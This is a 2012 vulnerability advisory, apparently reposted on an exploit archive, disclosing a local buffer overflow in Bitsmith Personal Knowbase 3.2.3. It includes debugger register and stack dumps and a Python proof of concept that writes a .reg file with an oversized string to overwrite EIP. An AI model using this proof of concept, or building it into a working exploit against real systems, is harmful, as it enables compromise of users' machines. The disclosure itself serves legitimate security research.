what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Bitsmith PS Knowbase 3.2.3 Buffer Overflow

Bitsmith PS Knowbase 3.2.3 Buffer Overflow
Posted Mar 30, 2012
Authored by Julien Ahrens, Vulnerability Laboratory | Site vulnerability-lab.com

Bitsmith PS Knowbase version 3.2.3 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | ff8b475b068dda8ae047b8fac7df7397a76692e21be2a9c19f5a7db55247df62

Bitsmith PS Knowbase 3.2.3 Buffer Overflow

Change Mirror Download
Title:
======
Bitsmith PS Knowbase 3.2.3 - Buffer Overflow Vulnerability


Date:
=====
2012-03-29


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=474


VL-ID:
=====
474


Introduction:
=============
Personal Knowbase is a program for organizing free-form information using keywords. Build a personal knowledge base
of all your notes, messages, and ideas. Store and index your information in one place for easy retrieval using keywords that you
choose. The attachment feature even associates disk files and Internet addresses with your notes, so you can access any
computerized information using the same set of keywords.

» Reduce paper clutter.
» Save hard disk space by consolidating small text files.
» Gather related information together.
» Find your information easily.
» Protect your private information with passwords.
» Cross-reference your notes with hypertext links.

(Copy of the Vendor Homepage: http://www.bitsmithsoft.com/ )


Abstract:
=========
A Vulnerability Laboratory Researcher discovered a local Buffer Overflow vulnerability on Bitsmiths Personal Knowbase v3.2.3.


Report-Timeline:
================
2012-03-14: Vendor Notification 1
2012-03-16: Vendor Notification 2
2012-03-20: Vendor Notification 3
2012-03-30: Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Bitsmith
Product: Personal Knowbase v3.2.3


Exploitation-Technique:
=======================
Local


Severity:
=========
High


Details:
========
A Buffer Overflow vulnerability is detected on Bitsmith Software Personal Knowbase v3.2.3.
The vulnerability is located in the main executeable knowbase.exe. An oversized string on the registry value Knowbase Data
within the Key [HKEY_CURRENT_USER/Software/Bitsmith Software/Personal Knowbase/Directories] results in a
local buffer overflow. The value gets read within the FileOpen dialogue. An attacker needs to manipulate the registry
value and has to trick the victim to open and cancel the FileOpen dialogue.

Vulnerable Module(s):
[+] knowbase.exe


--- Debugger Logs ---
# 41414141: The instruction at 0x41414141 referenced memory at 0x41414141. The memory could not be read -> 41414141 (exc.code c0000005, tid 844)

# Registers:
# EAX 00000000
# ECX 41414141
# EDX 005716E8 knowbase.005716E8
# EBX 00000001
# ESP 0012F730 ASCII ``CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC``
# EBP 0012F738 ASCII ``CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC``
# ESI 00527DF8 knowbase.00527DF8
# EDI 00570BC8 knowbase.00570BC8
# EIP 41414141

# Stack:
# 0012F724 41414141 AAAA
# 0012F728 FFFFFFFF
# 0012F72C 42424242 BBBB
# 0012F730 43434343 CCCC
# 0012F734 43434343 CCCC
# 0012F738 43434343 CCCC
# 0012F73C 43434343 CCCC

# Dump:
# 0012F710 41 41 41 41 41 41 41 41 AAAAAAAA
# 0012F718 41 41 41 41 41 41 41 41 AAAAAAAA
# 0012F720 41 41 41 41 41 41 41 41 AAAAAAAA
# 0012F728 FF FF FF FF 42 42 42 42 BBBB
# 0012F730 43 43 43 43 43 43 43 43 CCCCCCCC
# 0012F738 43 43 43 43 43 43 43 43 CCCCCCCC
# 0012F740 43 43 43 43 43 43 43 43 CCCCCCCC


Picture(s):
../1.png


Proof of Concept:
=================
The vulnerability can be exploited by local attackers. Successful exploitation requires user inter action by clicking the dialog
file open or cancel. For demonstration or reproduce ...


#!/usr/bin/python

# Exploit Title: Bitsmith Software Personal Knowbase v3.2.3 Local Buffer Overflow
# Version: 3.2.3
# Tested on: Windows XP SP3 Professional German
# Howto: Import Reg -> Start App -> Open File --> Cancel

file="poc.reg"

junk1="\x41" * 272
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\Bitsmith Software\Personal Knowbase\Directories]\n"
poc=poc + "\"Knowbase Data\"=\"" + junk1 + boom + junk2 + "\""

try:
print "[*] Creating exploit file...\n";
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print "[*] File successfully created!";
except:
print "[!] Error while creating file!";



Risk:
=====
The security risk of the local buffer overflow vulnerability is estimated as high(-).


Credits:
========
Vulnerability Research Laboratory - Julien Ahrens (MrTuxracer) [www.inshell.net]


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2012|Vulnerability-Lab

--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@vulnerability-lab.com

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close